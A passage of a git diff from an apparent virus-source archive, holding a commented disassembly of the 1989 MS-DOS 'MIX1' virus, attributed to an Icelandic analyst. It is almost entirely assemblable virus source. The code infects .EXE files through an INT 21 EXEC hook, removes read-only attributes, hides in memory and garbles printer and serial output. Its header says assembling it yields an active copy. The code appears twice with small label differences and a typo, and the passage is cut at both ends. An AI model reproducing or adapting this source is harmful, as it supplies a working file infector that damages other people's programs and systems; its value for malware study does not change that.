infected, and if not +; it will install the virus. +; +; 2. The new INT 17 handler. All outgoing characters will be garbled. +; +; 3. The new INT 14 handler. All outgoing characters will be garbled. +; +; 4. The new INT 8 handler. +; +; 5. The new INT 9 handler. Disables the Num-Lock key +; +; 6. The new INT 21 handler. It will look for EXEC calls, and +; (sometimes) infect the program being run. +; +; Parts 1 and 6 are almost identical to the Icelandic-1 version +; +; This is a fake MCB +; + DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0 + +VIRUS PROC FAR +; +; The virus starts by pushing the original start address on the stack, +; so it can transfer control there when finished. +; +ABRAX: DEC SP ; This used to be SUB SP,4 + DEC SP + NOP + DEC SP + DEC SP + PUSH BP + MOV BP,SP + NOP ; added + PUSH AX + NOP ; added + MOV AX,ES +; +; Put the the original CS on the stack. The ADD AX,data instruction +; is modified by the virus when it infects other programs. +; + DB 05H +ORG_CS DW 0010H + MOV [BP+4],AX +; +; Put the the original IP on the stack. This MOV [BP+2],data instruction +; is modified by the virus when it infects other programs. +; + DB 0C7H,46H,02H +ORG_IP DW 0000H +; +; Save all registers that are modified. +; + PUSH ES + PUSH DS + PUSH BX + PUSH CX + PUSH SI + PUSH DI +; +; Check if already installed. Quit if so. +; + MOV AX,0 ; Was: XOR AX,AX + MOV ES,AX + CMP ES:[33CH],BYTE PTR 077H + JNE L1 +; +; Restore all registers and return to the original program. +; +EXIT: POP DI + POP SI + POP CX + POP BX + POP DS + POP ES + POP AX + POP BP + RET +; +; The virus tries to hide from detection by modifying the memory block it +; uses, so it seems to be a block that belongs to the operating system. +; +; It looks rather weird, but it seems to work. +; +L1: MOV AH,52H + INT 21H + MOV AX,ES:[BX-2] + MOV ES,AX + PUSH ES ; Two totally unnecessary instructions + POP AX ; added + ADD AX,ES:[0003] + INC AX + INC AX + MOV CS:[0001],AX +; +; Next, the virus modifies the memory block of the infected program. +; It is made smaller, and no longer the last block. +; + MOV BX,DS + DEC BX + PUSH BX ; Unnecessary addition + POP AX + MOV DS,BX + MOV AL,'M' + MOV DS:[0000],AL + MOV AX,DS:[0003] + SUB AX,VIRSIZ + MOV DS:[0003],AX + ADD BX,AX + INC BX +; +; Then the virus moves itself to the new block. +; + PUSH BX ; Was: MOV ES,BX + POP ES + MOV SI,0 ; Was: XOR SI,SI XOR DI,DI + MOV DI,SI + PUSH CS + POP DS + MOV CX,652H + CLD + REP MOVSB +; +; The virus then transfers control to the new copy of itself. +; + PUSH ES + MOV AX,OFFSET L3 + PUSH AX + RET +; +; Zero some variables +; +L3: MOV BYTE PTR CS:[MIN60],0 + NOP + MOV BYTE PTR CS:[MIN50],0 + NOP + MOV WORD PTR CS:[TIMER],0 +; +; The most nutty way to zero ES register that I have ever seen: +; + MOV BX,0FFFFH + ADD BX,3F3FH + MOV CL,0AH + SHL BX,CL + AND BX,CS:[CONST0] + MOV AX,BX + MOV ES,AX +; +; Set flag to confirm installation +; + MOV BYTE PTR ES:[33CH],77H +; +; Hook interrupt 21: +; + MOV AX,ES:[0084H] + MOV CS:[OLD21],AX + MOV AX,ES:[0086H] + MOV CS:[OLD21+2],AX + MOV AX,CS + MOV ES:[0086H],AX + MOV AX,OFFSET NEW21 + MOV ES:[0084H],AX +; +; Hook interrupt 17: +; + MOV AX,ES:[005CH] + MOV CS:[OLD17],AX + MOV AX,ES:[005EH] + MOV CS:[OLD17+2],AX + MOV AX,CS + MOV ES:[005EH],AX + MOV AX,OFFSET NEW17 + MOV ES:[005CH],AX +; +; Hook interrupt 14: +; + MOV AX,ES:[0050H] + MOV CS:[OLD17],AX + MOV AX,ES:[0052H] + MOV CS:[OLD14+2],AX + MOV AX,CS + MOV ES:[0052H],AX + MOV AX,OFFSET NEW14 + MOV ES:[0050H],AX +; +; +; + CMP WORD PTR CS:[NOINF],5 + JG HOOK9 + JMP EXIT +; +; Hook interrupt 9 +; +HOOK9: MOV AX,ES:[0024H] + MOV CS:[OLD9],AX + MOV AX,ES:[0026H] + MOV CS:[OLD9+2],AX + MOV AX,CS + MOV ES:[0026H],AX + MOV AX,OFFSET NEW9 + MOV ES:[0024H],AX +; +; Hook interrupt 8 +; + MOV AX,ES:[0020H] + MOV CS:[OLD8],AX + MOV AX,ES:[0022H] + MOV CS:[OLD8+2],AX + MOV AX,CS + MOV ES:[0022H],AX + MOV AX,OFFSET NEW8 + MOV ES:[0020H],AX + JMP EXIT +; +; Video processing +; +VID: PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH DS + PUSH ES + PUSH CS + POP DS + MOV AH,0FH + INT 10H + MOV AH,6 + MUL AH + MOV BX,AX + MOV AX,DS:[BX+OFFSET VIDEOT] + MOV CX,DS:[BX+OFFSET VIDEOT+2] + MOV DX,DS:[BX+OFFSET VIDEOT+4] + MOV ES,DX + SHR CX,1 + MOV + DI,1 + CMP AX,0 + JNZ V1 +V0: INC WORD PTR ES:[DI] + INC DI + INC DI + LOOP V0 + JMP SHORT V2 + NOP +V1: NOT WORD PTR ES:[DI] + INC DI + INC DI + LOOP V1 +V2: POP ES + POP DS + POP DI + POP DX + POP CX + POP BX + POP AX + RET +; +; INT 9 replacement: Just fiddle around with the NUM-LOCK etc. +; This routine does not become active until 50 minutes after +; the execution of an infected program. +; +NEW9: PUSH AX + PUSH ES + CMP BYTE PTR CS:[MIN50],1 + JNZ RETX1 + XOR AX,AX + MOV ES,AX ; was xxxxxxxx + AND BYTE PTR ES:[417H],0BFH ; x0xxxxxx + OR BYTE PTR ES:[417H],20H ; x01xxxxx + TEST BYTE PTR ES:[417H],0CH + JZ RETX1 + IN AL,60 + CMP AL,53 + JNZ RETX1 + AND BYTE PTR ES:[417H],0F7H +; +; This seems to be an error - the virus uses a FAR call, which will +; probably cause the computer to crash. +; + DB 9AH + DW OFFSET VID,171CH +; +; This needs more checking. +; + +RETX1: POP ES + POP AX + DB 0EAH +OLD9 DW 0,0 +; +; New INT 14 routine - garble all outgoing characters +; +NEW14: CMP AH,1 + JZ S1 +DO14: DB 0EAH +OLD14 DW 0,0 +S1: PUSH BX + XOR BX,BX + MOV BL,AL + ADD BX,OFFSET ERRTAB + MOV AL,CS:[BX] ; use old character as index into table + POP BX + JMP DO14 +; +; New INT 8 routine +; +NEW8: PUSH DX + PUSH CX + PUSH BX + PUSH AX + CMP BYTE PTR CS:[MIN60],01 ; If counter >= 60 min. + JZ TT0 ; No need to check any more + INC WORD PTR CS:[TIMER] ; else increment timer + CMP WORD PTR CS:[TIMER],-10 ; 60 minutes ? + JZ TT1 + CMP WORD PTR CS:[TIMER],54600 ; 50 minutes ? + JZ TT2 + JMP TXEX +; +; 50 minutes after an infected program is run the flag is set. +; +TT2: MOV BYTE PTR CS:[MIN50],1 + NOP + JMP TXEX +; +; 60 minutes after an infected program is run we start the ball bouncing. +; +TT1: MOV BYTE PTR CS:[MIN60],1 +; +; Get current cursor position and save it +; + MOV AH,3 + MOV BH,0 + INT 10H + MOV CS:[SCRLINE],DH + MOV CS:[SCRCOL],DL +; +; Set cursor position +; + MOV AH,2 + MOV BH,0 + MOV DH,CS:[MYLINE] + MOV DL,CS:[MYCOL] + INT 10H +; +; Check what is there and store it +; + MOV AH,8 + MOV BH,0 + INT 10H + MOV CS:[ONSCREEN],AL +; +; Set cursor position back as it was before +; + MOV AH,2 + MOV BH,0 + MOV DH,CS:[SCRLINE] + MOV DL,CS:[SCRCOL] + INT 10H +; +; Get current video mode and store it +; + MOV AH,0FH + INT 10H + MOV CS:[VMODE],AH +; +; Exit interrupt routine +; + JMP TXEX +; +; Every time an INT 8 occurs, after the 60 min. have passed, we +; end up here: +; +; First get current cursor position +; +TT0: MOV AH,3 + MOV BH,0 + INT 10H + MOV CS:[SCRLINE],DH + MOV CS:[SCRCOL],DL +; +; Then set it to last position of ball. +; + MOV AH,2 + MOV BH,0 + MOV DH,CS:[MYLINE] + MOV DL,CS:[MYCOL] + INT 10H +; +; Write previous character there ... +; + MOV AH,0EH + MOV AL,CS:[ONSCREEN] + MOV BX,0 + INT 10H +; +; + CMP BYTE PTR CS:[UPDOWN],0 + JZ T2 +; +; + DEC BYTE PTR CS:[MYLINE] + JMP SHORT T3 + NOP +T2: INC BYTE PTR CS:[MYLINE] +T3: CMP BYTE PTR CS:[LEFTRIGHT],0 + JZ T4 + DEC BYTE PTR CS:[MYCOL] + JMP SHORT T5 + NOP +T4: INC BYTE PTR CS:[MYCOL] +; +; Get current video mode +; +T5: MOV AH,0FH + INT 10H + MOV CS:[VMODE],AH + MOV AL,CS:[MAXLIN] + CMP CS:[MYLINE],AL ; bottom of screen ? + JNZ T6 +; +; Reached bottom - now go upwards. +; + NOT BYTE PTR CS:[UPDOWN] +T6: CMP BYTE PTR CS:[MYLINE],0 ; reached the top ? + JNZ T7 +; +; Reached top - now go downwards +; + NOT BYTE PTR CS:[UPDOWN] +T7: MOV AL,CS:[VMODE] + CMP CS:[MYCOL],AL + JNZ T8 + NOT BYTE PTR CS:[LEFTRIGHT] +T8: CMP BYTE PTR CS:[MYCOL],0 + JNZ T9 + NOT BYTE PTR CS:[LEFTRIGHT] +; +; Set cursor position to new position of ball +; +T9: MOV AH,02 + MOV BH,0 + MOV DH,CS:[MYLINE] + MOV DL,CS:[MYCOL] + INT 10H +; +; Get what is there and store it. +; + MOV AH,8 + MOV BH,0 + INT 10H + MOV CS:[ONSCREEN],AL +; +; Write character (lower case o) +; + MOV AH,0EH + MOV AL,6FH + MOV BX,0 + INT 10H +; +; And restore cursor position +; + MOV AH,02 + MOV BH,0 + MOV DH,CS:[SCRLINE] + MOV DL,CS:[SCRCOL] + INT 10H +; +; Restore registers and quit +; +TXEX: POP AX + POP BX + POP CX + POP DX + DB 0EAH +OLD8 DW 0,0 +; +; New INT 17 routine. Garble all outgoing characters. +; +NEW17: CMP AH,0 + JZ P0 +DO17: DB 0EAH +OLD17 DW 0,0 +P0: PUSH BX + XOR BX,BX + MOV BL,AL + ADD BX,OFFSET ERRTAB + MOV AL,CS:[BX] + POP BX + JMP DO17 +; +; This is the INT 21 replacement. It only does something in the case +; of an EXEC call. +; +NEW21: CMP AH,4BH + JE L5 +DO21: DB 0EAH +OLD21 DW 0,0 +; +; The code to only infect every tenth program has been removed +; +L5: PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DS +; +; Search for the file name extension ... +; + MOV BX,DX +L6: INC BX + CMP BYTE PTR [BX],'.' + JE L8 + CMP BYTE PTR [BX],0 + JNE L6 +; +; ... and quit unless it starts with "EX". +; +L7: POP DS + POP SI + POP DX + POP CX + POP BX + POP AX + JMP DO21 +L8: INC BX + CMP WORD PTR [BX],5845H + JNE L7 +; +; When an .EXE file is found, the virus starts by turning off +; the read-only attribute. The read-only attribute is not restored +; when the file has been infected. +; + MOV AX,4300H ; Get attribute + INT 21H + JC L7 + MOV AX,4301H ; Set attribute + AND CX,0FEH + INT 21H + JC L7 +; +; Next, the file is examined to see if it is already infected. +; The signature (4418 5F19) is stored in the last two words. +; + MOV AX,3D02H ; Open / write access + INT 21H + JC L7 + MOV BX,AX ; file handle in BX +; +; This part of the code is new: Get date of file. +; + MOV AX,5700H + INT 21H + JC L9 + MOV CS:[DATE1],DX + MOV CS:[DATE2],CX +; + PUSH CS ; now DS is no longer needed + POP DS +; +; The header of the file is read in at [ID+8]. The virus then +; modifies itself, according to the information stored in the +; header. (The original CS and IP addressed are stored). +; + MOV DX,OFFSET ID+8 + MOV CX,1CH + MOV AH,3FH + INT 21H + JC L9 + MOV AX,DS:ID[1CH] + MOV DS:[ORG_IP],AX + MOV AX,DS:ID[1EH] + ADD AX,10H + MOV DS:[ORG_CS],AX +; +; Next the read/write pointer is moved to the end of the file-4, +; and the last 4 bytes read. They are compared to the signature, +; and if equal nothing happens. +; + MOV AX,4202H + MOV CX,-1 + MOV DX,-4 + INT 21H + JC L9 + ADD AX,4 + MOV DS:[LEN_LO],AX + JNC L8A + INC DX +L8A: MOV DS:[LEN_HI],DX +; +; This part of the virus is new - check if it is below minimum length +; + CMP DX,0 + JNE L8B + MOV CL,13 + SHR AX,CL + CMP AX,0 + JG L8B + JMP SHORT L9 + NOP +L8B: MOV AH,3FH + MOV CX,4 + MOV DX,OFFSET ID+4 + INT 21H + JNC L11 +L9: MOV AH,3EH + INT 21H +L10: JMP L7 +; +; Compare to 4418,5F19 +; +L11: MOV SI,OFFSET ID+4 + MOV AX,[SI] + CMP AX,494DH + JNE L12 + MOV AX,[SI+2] + CMP AX,3158H + JE L9 +; +; The file is not infected, so the next thing the virus does is +; infecting it. First it is padded so the length becomes a multiple +; of 16 bytes. Tis is probably done so the virus code can start at a +; paragraph boundary. +; +L12: MOV AX,DS:[LEN_LO] + AND AX,0FH + JZ L13 + MOV CX,16 + SUB CX,AX + ADD DS:[LEN_LO],CX + JNC L12A + INC DS:[LEN_HI] +L12A: MOV AH,40H + INT 21H + JC L9 +; +; Next the main body of the virus is written to the end. +; +L13: MOV DX,0 ; Was: XOR DX,DX + MOV CX,OFFSET ID + 4 + MOV AH,40H + INT 21H + JC L9 +; +; Next the .EXE file header is modified: +; + JMP SHORT F0 ; some unnecessary instructions + NOP +; First modify initial IP +; +F0: MOV AX,OFFSET LABEL + MOV DS:ID[1CH],AX +; +; Modify starting CS = Virus CS. It is computed as: +; +; (Original length of file+padding)/16 - Start of load module +; + MOV DX,DS:[LEN_HI] + MOV AX,DS:[LEN_LO] + MOV CL,CS:[CONST1] ; Modified a bit + SHR DX,CL + RCR AX,CL + SHR DX,CL + RCR AX,CL + SHR DX,CL + RCR AX,CL + SHR DX,CL + RCR AX,CL + SUB AX,DS:ID[10H] + MOV DS:ID[1EH],AX +; +; Modify length mod 512 +; + ADD DS:[LEN_LO],OFFSET ID+4 + JNC L14 + INC DS:[LEN_HI] +L14: MOV AX,DS:[LEN_LO] + AND AX,511 + MOV DS:ID[0AH],AX +; +; Modify number of blocks used +; + MOV DX,DS:[LEN_HI] + MOV AX,DS:[LEN_LO] + ADD AX,511 + JNC L14A + INC DX +L14A: MOV AL,AH + MOV AH,DL + SHR AX,1 + MOV DS:ID[0CH],AX +; +; Finally the modified header is written back to the start of the +; file. +; +QQQ: MOV AX,4200H + MOV CX,0 ; was XOR CX,CX + AND DX,CS:[CONST0] ; was XOR DX,DX + INT 21H + JC ENDIT + MOV AH,40H + MOV DX,OFFSET ID+8 + MOV CX,1CH + INT 21H +; +; This part is new: Restore old date. +; + MOV DX,CS:[DATE1] + MOV CX,CS:[DATE2] + MOV AX,5701H + INT 21H + JC ENDIT + INC WORD PTR CS:[NOINF] +; +; Infection is finished - close the file and execute it +; +ENDIT: JMP L9 +; +; + DW 0 + +VIDEOT: DW 0000H, 07D0H, 0B800H + DW 0000H, 07D0H, 0B800H + DW 0000H, 0FA0H, 0B800H + DW 0000H, 0FA0H, 0B800H + DW 0001H, 4000H, 0B800H + DW 0001H, 4000H, 0B800H + DW 0001H, 4000H, 0B800H + DW 0000H, 0FA0H, 0B000H + DW 0001H, 3E80H, 0B000H + DW 0001H, 7D00H, 0B000H + DW 0001H, 7D00H, 0B000H + DW 0002H, 0000H, 0000H + DW 0002H, 0000H, 0000H + DW 0001H, 7D00H, 0A000H + DW 0001H, 0FA00H, 0A000H + DW 0001H, 6D60H, 0A000H + DW 0002H, 0000H. 0000H + + DW 0 + +ERRTAB DB 00H,01H,02H,03H,04H,05H,06H,07H,08H,09H,0BH,0AH,0CH,0DH,0EH,0FH + DB 10H,11H,12H,13H,14H,15H,16H,17H,18H,19H,1BH,1AH,1CH,1DH,1FH,1EH + DB 20H,21H,22H,23H,24H,25H,26H,27H,29H,28H,2AH,2DH,2CH,2BH,2EH,2FH + DB 30H,31H,32H,33H,34H,35H,36H,37H,38H,39H,3AH,3BH,3EH,3DH,3CH,3FH + DB 40H,42H,45H,43H,44H,41H,50H,47H,48H,59H,4AH,4BH,4CH,4DH,4EH,55H + DB 46H,51H,52H,53H,54H,4FH,56H,57H,58H,49H,5AH,5DH,5CH,5BH,5EH,5FH + DB 60H,65H,62H,73H,64H,61H,70H,67H,68H,65H,6AH,6BH,6CH,6DH,6EH,75H + DB 66H,71H,72H,63H,74H,6FH,76H,77H,78H,79H,7AH,7DH,7CH,7BH,7EH,7FH + DB 92H,81H,82H,83H,84H,85H,86H,8BH,9AH,89H,8AH,87H,8CH,8DH,8EH,8FH + DB 90H,99H,80H,93H,94H,95H,96H,97H,98H,91H,88H,9BH,9CH,9DH,9EH,9FH + DB 0A0H,0A1H,0A2H,0A3H,0A4H,0A5H,0A6H,0A7H,0A8H,0A9H,0BBH,0ABH,0ACH + DB 0B0H,0B1H,0B2H,0B3H,0B4H,0B5H,0B6H,0B7H,0B8H,0B9H,0BAH,0AAH,0D9H + DB 0C8H,0C1H,0C2H,0C3H,0C4H,0C5H,0C6H,0C7H,0C0H,0A9H,0CAH,0CBH,0CCH + DB 0D0H,0D1H,0D2H,0D3H,0D4H,0D5H,0D6H,0D7H,0D8H,0BCH,0DAH,0DBH,0DCH + DB 0E0H,0E1H,0E2H,0E3H,0E4H,0E5H,0E6H,0E7H,0E8H,0E9H,0EAH,0EBH,0ECH + DB 0F0H,0F1H,0F2H,0F3H,0F4H,0F5H,0F6H,0F7H,0F8H,0F9H,0FAH,0FBH,0FCH + +CONST1 DB 1 ; Just the constant 1 +CONST0 DW 0 ; The label says it all +MIN60 DB 0 ; Flag, set to 1 60 minutes after execution +MIN50 DB 0 ; Flag, set to 1 50 minutes after execution +VMODE DB 0 ; Video mode +MAXLIN DB 24 +MYCOL DB 0 ; Position of ball on screen +MYLINE DB 0 ; ditto. +ONSCREEN DB ? ; Previous character on the screen +UPDOWN DB 0 ; Direction of ball (up or down) +LEFTRIGHT DB 0 ; Direction (left or right) +SCRCOL DB ? +SCRLINE DB ? +DATE1 DW ? ; Date of file +DATE2 DW ? ; ditto. +TIMER DW 0 ; Number of timer (INT 8) ticks +LEN_LO DW ? +LEN_HI DW ? +NOINF DW 0 ; Number of infections +ID ABRAX WORD + DB "MIX1" ; The signature of the virus. +; +; A buffer, used for data from the file. +; + +VIRUS ENDP +CODE ENDS + + END ABRAX diff --git a/MSDOS/Virus.MSDOS.Unknown.mix1.err b/MSDOS/Virus.MSDOS.Unknown.mix1.err new file mode 100644 index 00000000..7fc4a288 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mix1.err @@ -0,0 +1,856 @@ +; THE MIX1 virus +; +; It was first detected in Israel in August '89. +; +; Disassembly done Sept. 24-25 '89. +; +; The author of this program is unknown, but it is clearly a +; modification of the "Icelandic" virus, with considerable +; additions +; +; All comments in this file were added by Fridrik Skulason, +; University of Iceland/Computing Services. +; +; INTERNET: frisk@rhi.hi.is +; UUCP: ...mcvax!hafro!rhi!frisk +; BIX: FRISK +; +; To anyone who obtains this file - please be careful with it, I +; would not like to see this virus be distributed too much. +; +; A short description of the virus: +; +; It only infects .EXE files. Infected files grow by ... to ... bytes. +; The virus attaches itself to the end of the programs it infects. +; +; When an infected file is run, the virus copies itself to top of +; free memory, and modifies the memory blocks, in order to hide from +; memory mapping programs. Some programs may overwrite this area, +; causing the computer to crash. +; +; The virus will hook INT 21H and when function 4B (EXEC) is called +; it sometimes will infect the program being run. It will check every +; tenth program that is run for infection, and if it is not already +; infected, it will be. +; +; The virus will remove the Read-Only attribute before trying to +; infect programs. +; +; Infected files can be easily recognized, since they always end in +; "MIX1" +; +; To check for system infection, a byte at 0:33C is used - if it +; contains 77 the virus is installed in memory. +; +; +VIRSIZ EQU 128 + +; +; This is the original program, just used so this file, when +; assembled, will produce an active copy. +; +_TEXT1 SEGMENT PARA PUBLIC +_START DB 0b4H,09H + PUSH CS + POP DS + MOV DX,OFFSET STRING + INT 21H + MOV AX,4C00H + INT 21H +STRING DB "Hello world!",0dh,0ah,"$" + _TEXT1 ENDS + +CODE SEGMENT PARA PUBLIC 'CODE' + ASSUME CS:CODE,DS:NOTHING,SS:NOTHING,ES:NOTHING + +; +; The virus is basically divided in the following parts. +; +; 1. The main program - run when an infected program is run. +; It will check if the system is already infected, and if not +; it will install the virus. +; +; 2. The new INT 17 handler. All outgoing characters will be garbled. +; +; 3. The new INT 14 handler. All outgoing characters will be garbled. +; +; 4. The new INT 8 handler. +; +; 5. The new INT 9 handler. Disables the Num-Lock key +; +; 6. The new INT 21 handler. It will look for EXEC calls, and +; (sometimes) infect the program being run. +; +; Parts 1 and 6 are almost identical to the Icelandic-1 version +; +; This is a fake MCB +; + DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0 + +VIRUS PROC FAR +; +; The virus starts by pushing the original start address on the stack, +; so it can transfer control there when finished. +; +ABRAX: DEC SP ; This used to be SUB SP,4 + DEC SP + NOP + DEC SP + DEC SP + PUSH BP + MOV BP,SP + NOP ; added + PUSH AX + NOP ; added + MOV AX,ES +; +; Put the the original CS on the stack. The ADD AX,data instruction +; is modified by the virus when it infects other programs. +; + DB 05H +ORG_CS DW 0010H + MOV [BP+4],AX +; +; Put the the original IP on the stack. This MOV [BP+2],data instruction +; is modified by the virus when it infects other programs. +; + DB 0C7H,46H,02H +ORG_IP DW 0000H +; +; Save all registers that are modified. +; + PUSH ES + PUSH DS + PUSH BX + PUSH CX + PUSH SI + PUSH DI +; +; Check if already installed. Quit if so. +; + MOV AX,0 ; Was: XOR AX,AX + MOV ES,AX + CMP ES:[33CH],BYTE PTR 077H + JNE L1 +; +; Restore all registers and return to the original program. +; +EXIT: POP DI + POP SI + POP CX + POP BX + POP DS + POP ES + POP AX + POP BP + RET +; +; The virus tries to hide from detection by modifying the memory block it +; uses, so it seems to be a block that belongs to the operating system. +; +; It looks rather weird, but it seems to work. +; +L1: MOV AH,52H + INT 21H + MOV AX,ES:[BX-2] + MOV ES,AX + PUSH ES ; Two totally unnecessary instructions + POP AX ; added + ADD AX,ES:[0003] + INC AX + INC AX + MOV CS:[0001],AX +; +; Next, the virus modifies the memory block of the infected program. +; It is made smaller, and no longer the last block. +; + MOV BX,DS + DEC BX + PUSH BX ; Unnecessary addition + POP AX + MOV DS,BX + MOV AL,'M' + MOV DS:[0000],AL + MOV AX,DS:[0003] + SUB AX,VIRSIZ + MOV DS:[0003],AX + ADD BX,AX + INC BX +; +; Then the virus moves itself to the new block. +; + PUSH BX ; Was: MOV ES,BX + POP ES + MOV SI,0 ; Was: XOR SI,SI XOR DI,DI + MOV DI,SI + PUSH CS + POP DS + MOV CX,652H + CLD + REP MOVSB +; +; The virus then transfers control to the new copy of itself. +; + PUSH ES + MOV AX,OFFSET L3 + PUSH AX + RET +; +; Zero some variables +; +L3: MOV BYTE PTR CS:[MIN60],0 + NOP + MOV BYTE PTR CS:[MIN50],0 + NOP + MOV WORD PTR CS:[TIMER],0 +; +; The most nutty way to zero ES register that I have ever seen: +; + MOV BX,0FFFFH + ADD BX,3F3FH + MOV CL,0AH + SHL BX,CL + AND BX,CS:[CONST0] + MOV AX,BX + MOV ES,AX +; +; Set flag to confirm installation +; + MOV BYTE PTR ES:[33CH],77H +; +; Hook interrupt 21: +; + MOV AX,ES:[0084H] + MOV CS:[OLD21],AX + MOV AX,ES:[0086H] + MOV CS:[OLD21+2],AX + MOV AX,CS + MOV ES:[0086H],AX + MOV AX,OFFSET NEW21 + MOV ES:[0084H],AX +; +; Hook interrupt 17: +; + MOV AX,ES:[005CH] + MOV CS:[OLD17],AX + MOV AX,ES:[005EH] + MOV CS:[OLD17+2],AX + MOV AX,CS + MOV ES:[005EH],AX + MOV AX,OFFSET NEW17 + MOV ES:[005CH],AX +; +; Hook interrupt 14: +; + MOV AX,ES:[0050H] + MOV CS:[OLD17],AX + MOV AX,ES:[0052H] + MOV CS:[OLD14+2],AX + MOV AX,CS + MOV ES:[0052H],AX + MOV AX,OFFSET NEW14 + MOV ES:[0050H],AX +; +; +; + CMP WORD PTR CS:[NOINF],5 + JG HOOK9 + JMP EXIT +; +; Hook interrupt 9 +; +HOOK9: MOV AX,ES:[0024H] + MOV CS:[OLD9],AX + MOV AX,ES:[0026H] + MOV CS:[OLD9+2],AX + MOV AX,CS + MOV ES:[0026H],AX + MOV AX,OFFSET NEW9 + MOV ES:[0024H],AX +; +; Hook interrupt 8 +; + MOV AX,ES:[0020H] + MOV CS:[OLD8],AX + MOV AX,ES:[0022H] + MOV CS:[OLD8+2],AX + MOV AX,CS + MOV ES:[0022H],AX + MOV AX,OFFSET NEW8 + MOV ES:[0020H],AX + JMP EXIT +; +; Video processing +; +ID: PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH DS + PUSH ES + PUSH CS + POP DS + MOV AH,0FH + INT 10H + MOV AH,6 + MUL AH + MOV BX,AX + MOV AX,DS:[BX+OFFSET VIDEOT] + MOV CX,DS:[BX+OFFSET VIDEOT+2] + MOV DX,DS:[BX+OFFSET VIDEOT+4] + MOV ES,DX + SHR CX,1 + MOV DI,1 + CMP AX,0 + JNZ V1 +V0: INC WORD PTR ES:[DI] + INC DI + INC DI + LOOP V0 + JMP SHORT V2 + NOP +V1: NOT WORD PTR ES:[DI] + INC DI + INC DI + LOOP V1 +V2: POP ES + POP DS + POP DI + POP DX + POP CX + POP BX + POP AX + RET +; +; INT 9 replacement: Just fiddle around with the NUM-LOCK etc. +; This routine does not become active until 50 minutes after +; the execution of an infected program. +; +NEW9: PUSH AX + PUSH ES + CMP BYTE PTR CS:[MIN50],1 + JNZ RETX1 + XOR AX,AX + MOV ES,AX ; was xxxxxxxx + AND BYTE PTR ES:[417H],0BFH ; x0xxxxxx + OR BYTE PTR ES:[417H],20H ; x01xxxxx + TEST BYTE PTR ES:[417H],0CH + JZ RETX1 + IN AL,60 + CMP AL,53 + JNZ RETX1 + AND BYTE PTR ES:[417H],0F7H +; +; This seems to be an error - the virus uses a FAR call, which will +; probably cause the computer to crash. +; + DB 9AH + DW OFFSET ID,171CH +; +; This needs more checking. +; + +RETX1: POP ES + POP AX + DB 0EAH +OLD9 DW 0,0 +; +; New INT 14 routine - garble all outgoing characters +; +NEW14: CMP AH,1 + JZ S1 +DO14: DB 0EAH +OLD14 DW 0,0 +S1: PUSH BX + XOR BX,BX + MOV BL,AL + ADD BX,OFFSET ERRTAB + MOV AL,CS:[BX] ; use old character as index into table + POP BX + JMP DO14 +; +; New INT 8 routine +; +NEW8: PUSH DX + PUSH CX + PUSH BX + PUSH AX + CMP BYTE PTR CS:[MIN60],01 ; If counter >= 60 min. + JZ TT0 ; No need to check any more + INC WORD PTR CS:[TIMER] ; else increment timer + CMP WORD PTR CS:[TIMER],-10 ; 60 minutes ? + JZ TT1 + CMP WORD PTR CS:[TIMER],54600 ; 50 minutes ? + JZ TT2 + JMP TXEX +; +; 50 minutes after an infected program is run the flag is set. +; +TT2: MOV BYTE PTR CS:[MIN50],1 + NOP + JMP TXEX +; +; 60 minutes after an infected program is run we start the ball bouncing. +; +TT1: MOV BYTE PTR CS:[MIN60],1 +; +; Get current cursor position and save it +; + MOV AH,3 + MOV BH,0 + INT 10H + MOV CS:[SCRLINE],DH + MOV CS:[SCRCOL],DL +; +; Set cursor position +; + MOV AH,2 + MOV BH,0 + MOV DH,CS:[MYLINE] + MOV DL,CS:[MYCOL] + INT 10H +; +; Check what is there and store it +; + MOV AH,8 + MOV BH,0 + INT 10H + MOV CS:[ONSCREEN],AL +; +; Set cursor position back as it was before +; + MOV AH,2 + MOV BH,0 + MOV DH,CS:[SCRLINE] + MOV DL,CS:[SCRCOL] + INT 10H +; +; Get current video mode and store it +; + MOV AH,0FH + INT 10H + MOV CS:[VMODE],AH +; +; Exit interrupt routine +; + JMP TXEX +; +; Every time an INT 8 occurs, after the 60 min. have passed, we +; end up here: +; +; First get current cursor position +; +TT0: MOV AH,3 + MOV BH,0 + INT 10H + MOV CS:[SCRLINE],DH + MOV CS:[SCRCOL],DL +; +; Then set it to last position of ball. +; + MOV AH,2 + MOV BH,0 + MOV DH,CS:[MYLINE] + MOV DL,CS:[MYCOL] + INT 10H +; +; Write previous character there ... +; + MOV AH,0EH + MOV AL,CS:[ONSCREEN] + MOV BX,0 + INT 10H +; +; + CMP BYTE PTR CS:[UPDOWN],0 + JZ T2 +; +; + DEC BYTE PTR CS:[MYLINE] + JMP SHORT T3 + NOP +T2: INC BYTE PTR CS:[MYLINE] +T3: CMP BYTE PTR CS:[LEFTRIGHT],0 + JZ T4 + DEC BYTE PTR CS:[MYCOL] + JMP SHORT T5 + NOP +T4: INC BYTE PTR CS:[MYCOL] +; +; Get current video mode +; +T5: MOV AH,0FH + INT 10H + MOV CS:[VMODE],AH + MOV AL,CS:[MAXLIN] + CMP CS:[MYLINE],AL ; bottom of screen ? + JNZ T6 +; +; Reached bottom - now go upwards. +; + NOT BYTE PTR CS:[UPDOWN] +T6: CMP BYTE PTR CS:[MYLINE],0 ; reached the top ? + JNZ T7 +; +; Reached top - now go downwards +; + NOT BYTE PTR CS:[UPDOWN] +T7: MOV AL,CS:[VMODE] + CMP CS:[MYCOL],AL + JNZ T8 + NOT BYTE PTR CS:[LEFTRIGHT] +T8: CMP BYTE PTR CS:[MYCOL],0 + JNZ T9 + NOT BYTE PTR CS:[LEFTRIGHT] +; +; Set cursor position to new position of ball +; +T9: MOV AH,02 + MOV BH,0 + MOV DH,CS:[MYLINE] + MOV DL,CS:[MYCOL] + INT 10H +; +; Get what is there and store it. +; + MOV AH,8 + MOV BH,0 + INT 10H + MOV CS:[ONSCREEN],AL +; +; Write character (lower case o) +; + MOV AH,0EH + MOV AL,6FH + MOV BX,0 + INT 10H +; +; And restore cursor position +; + MOV AH,02 + MOV BH,0 + MOV DH,CS:[SCRLINE] + MOV DL,CS:[SCRCOL] + INT 10H +; +; Restore registers and quit +; +TXEX: POP AX + POP BX + POP CX + POP DX + DB 